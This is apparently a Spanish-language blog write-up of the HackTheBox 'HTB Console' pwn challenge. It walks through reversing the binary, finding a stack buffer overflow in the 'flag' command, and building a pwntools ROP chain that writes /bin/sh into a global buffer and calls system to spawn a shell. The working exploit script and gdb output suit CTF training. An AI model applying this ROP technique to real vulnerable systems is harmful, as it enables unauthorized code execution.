xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

HTB Console



Reversing


El binario entregado de primeras no nos deja claro el uso que este tiene o que hace

❯ ./htb-console
Welcome HTB Console Version 0.1 Beta.  
>> help
Unrecognized command.
>>

Podemos iniciar analizandolo con ida, La función main inicia llamando a puts para mostrar un mensaje de bienvenida luego con printf muestra un prompt para posteriormente recibir 16 bytes con fgets que almacena en una variable command, luego llama a la función console pasandole command como único argumento

La función console recibe el comando en una variable option e inicia comparandolo con strcmp contra la string id\n, si es igual sigue la linea roja de lo contrario sigue la verde que nuevamente usa strcmp para ahora compararlo contra dir\n

Si el comando es igual a id\n simula la salida del comando con puts en el bloque de la izquierda, si es igual a dir\n ahora muestra con puts la cadena /home/HTB

Vamos con la siguiente comparación, al enviar la cadena flag\n muestra un mensaje con printf y con fgets recibe 48 bytes en un buffer que inicia en rbp - 16, aqui encontramos un buffer overflow ya que se reciben mas datos de los soportados

La siguiente comparación es contra la cadena hof\n, si es igual recibe 10 bytes con fgets que lo guarda en una variable global que llamamos buffer, esta se guarda siempre de forma estática en la misma dirección 0x4040b0 en el segmento bss

Finalmente tenemos los comandos ls\n y date\n, el primero simula la salida con puts pero el segundo si que ejecuta el comando con system asi que está cargado


Explotación


Iniciamos mirando las protecciones con checksec, este binario solo tiene activada la protección NX que nos impedirá ejecutar shellcode directamente en el stack

❯ checksec htb-console
[*] '/home/user/htb-console'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)  

Abrimos el programa con gdb, iniciamos por comprobar el comando hof, enviamos como entrada 8 A's que como sabemos se ven reflejadas en la direccion 0x4040b0

❯ gdb -q htb-console
Reading symbols from htb-console...
(No debugging symbols found in htb-console)
pwndbg> r
Starting program: /home/user/htb-console
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  
Welcome HTB Console Version 0.1 Beta.
>> hof
Register yourself for HTB Hall of Fame!
Enter your name: AAAAAAAA
See you on HoF soon! :)
>> ^C
Program received signal SIGINT, Interrupt.
pwndbg> x/s 0x4040b0
0x4040b0:    "AAAAAAAA"
pwndbg>

Ahora vamos con la verdadera vulnerabilidad, enviaremos 16 A's, 8 B's, 8 C's y 24 D's que suman los 48 bytes, al enviarlos en el comando flag rellenamos con las A's los 16 bytes antes de rbp, rbp toma el valor de las B's en el leave y el return address apunta a las C's, y al final en el stack quedan almacenadas las D's

❯ python3 -q
>>> b"A" * 16 + b"B" * 8 + b"C" * 8 + b"D" * 24
b'AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD'  
>>>

>> flag
Enter flag: AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD  
Whoops, wrong flag!

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401396 in ?? ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe298:    0x4343434343434343
pwndbg> x/s $rsp+8
0x7fffffffe2a0:    'D' <repetidos 24 veces>
pwndbg>

Sabemos que el NX esta habilitado por lo que tendremos que usar ROP, iniciamos buscando la direccion de system para poder llamarla y asi ejecutar comandos

pwndbg> p system
$1 = {<text variable, no debug info>} 0x401040 <system@plt>  
pwndbg>

Nuestra idea sera ejecutar una /bin/sh pero para pasarsela como argumento a system necesitamos guardar su referencia en rdi para ello usaremos un pop rdi

❯ ropper --file htb-console --search "pop rdi; ret;"  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: htb-console
0x0000000000401473: pop rdi; ret;

Resumiendo, el exploit llama a hof para guardar la cadena /bin/sh en la dirección 0x4040b0, luego llama a flag y rellena con A's el offset hasta el return address, en el llama a pop rdi que guarda la dirección 0x4040b0 en rdi y finalmente llama a system, como en esa dirección guardamos la string de /bin/sh devuelve una shell

#!/usr/bin/python3
from pwn import process, p64

shell = process("./htb-console")

offset = 24
junk = b"A" * offset

payload  = b""
payload += junk
payload += p64(0x401473) # pop rdi; ret;
payload += p64(0x4040b0) # "/bin/sh"
payload += p64(0x401040) # system()

shell.sendlineafter(b">> ", b"hof")
shell.sendlineafter(b"name: ", b"/bin/sh\x00")

shell.sendlineafter(b">> ", b"flag")
shell.sendlineafter(b"flag: ", payload)

shell.recvline()
shell.interactive()

❯ python3 exploit.py
[+] Starting local process './htb-console': pid 288844  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$